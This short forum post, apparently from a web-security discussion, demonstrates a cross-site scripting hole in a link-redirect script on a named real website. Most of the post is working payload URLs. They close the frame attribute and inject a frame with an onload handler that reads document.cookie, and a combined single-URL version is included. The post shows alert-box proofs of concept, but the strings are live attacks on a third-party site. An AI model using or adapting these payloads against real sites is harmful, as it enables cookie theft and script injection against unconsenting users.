weirdo: that's because it loads it into a frame, not a redirect .. and fortunately, into a frame that you can break out of, like so:
http://directory.poland.com/link.php?url=http://maluc.sitesled.com/xss.html?%22%3E%3Cframe%20src=about:blank%20onload=alert(document.cookie)%3E%3C/frameset%3E
the first popup, is loaded by the
<frame src="http://maluc.sitesled.com/xss.html?">
and shows that it doesn't have access to the DOM or poland.com's cookies
the injected frame event, however, does:
<frame src=about:blank onload=alert(location.host+document.cookie)>
.. there's no cookies for directory.poland.com to demonstrate, but u get the idea.
You can combine it into one frame http://directory.poland.com/link.php?url=http://maluc.sitesled.com/xss.html?%22%20onload=alert(location.host%2Bdocument.cookie)%3E%3C/frameset%3E , i just did it separate to illustrate the difference.
-maluc